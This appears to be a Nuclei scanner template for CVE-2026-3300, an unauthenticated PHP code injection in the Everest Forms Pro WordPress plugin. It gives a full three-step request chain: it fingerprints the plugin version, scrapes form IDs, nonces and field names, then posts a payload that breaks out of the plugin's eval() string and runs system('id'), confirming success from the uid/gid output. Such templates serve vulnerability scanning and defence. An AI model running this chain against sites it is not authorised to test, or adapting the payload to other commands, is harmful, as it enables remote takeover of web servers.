Everest Forms Pro <= 1.9.12 - Unauthenticated RCE via Calculation Formula Injection

id: CVE-2026-3300

info:
  name: Everest Forms Pro <= 1.9.12 - Unauthenticated RCE via Calculation Formula Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    The Everest Forms Pro plugin for WordPress is vulnerable to Remote Code Execution via PHP Code Injection in all versions up to, and including, 1.9.12. This is due to the Calculation Addon's process_filter() function concatenating user-submitted form field values into a PHP code string without proper escaping before passing it to eval(). The sanitize_text_field() function applied to input does not escape single quotes or other PHP code context characters. This makes it possible for unauthenticated attackers to inject and execute arbitrary PHP code on the server by submitting a crafted value in any string-type form field (text, email, URL, select, radio) when a form uses the "Complex Calculation" feature.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code on the server, potentially leading to full system compromise.
  remediation: |
    Update to the latest version of Everest Forms Pro plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/389c0b89-e408-4ad5-9723-a16b745771f0?source=cve
    - https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.3/includes/class-evf-form-task.php#L584
    - https://everestforms.net/changelog/
    - https://www.wordfence.com/blog/2026/06/attackers-actively-exploiting-critical-vulnerability-in-everest-forms-pro-plugin/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-3300
    epss-score: 0.39159
    epss-percentile: 0.98609
    cwe-id: CWE-94
  metadata:
    max-request: 3
    verified: true
    product: everest-forms-pro
    vendor: wpeverest
    fofa-query: body="/wp-content/plugins/everest-forms-pro/"
  tags: cve,cve2026,wordpress,wp-plugin,everest-forms,rce,unauth,vkev

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/everest-forms-pro/readme.txt"
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Everest Forms")'
          - 'compare_versions(version, "<= 1.9.12")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        internal: true
        group: 1
        regex:
          - 'Stable tag:\s*([0-9.]+)'

  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/pages?per_page=100"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "evf-container","data-formid")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: form_id
        internal: true
        group: 1
        regex:
          - 'data-formid=(?:\\"|")([0-9]+)'

      - type: regex
        name: nonce
        internal: true
        group: 1
        regex:
          - 'name=(?:\\"|")_wpnonce[0-9]+(?:\\"|")\s+value=(?:\\"|")([a-f0-9]+)'

      - type: regex
        name: nonce_field
        internal: true
        group: 1
        regex:
          - 'name=(?:\\"|")(_wpnonce[0-9]+)(?:\\"|")\s+value='

      - type: regex
        name: text_field
        internal: true
        group: 1
        regex:
          - 'evf-field-text[^>]*data-field-id=(?:\\"|")(field_[A-Za-z0-9]+)'

      - type: regex
        name: calc_field
        internal: true
        group: 1
        regex:
          - 'evf-field-number[^>]*data-field-id=(?:\\"|")(field_[A-Za-z0-9]+)'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=everest_forms_ajax_form_submission&everest_forms[id]={{form_id}}&everest_forms[author]=1&everest_forms[form_fields][{{text_field}}]=1'%3B+system('id')%3B+echo+'&everest_forms[form_fields][{{calc_field}}]=0&{{nonce_field}}={{nonce}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=[0-9]+\([a-z_-]+\)'

      - type: word
        part: body
        words:
          - '"success":true'

    extractors:
      - type: regex
        group: 0
        regex:
          - 'uid=[0-9]+\([a-z_-]+\)\s*gid=[0-9]+\([a-z_-]+\)'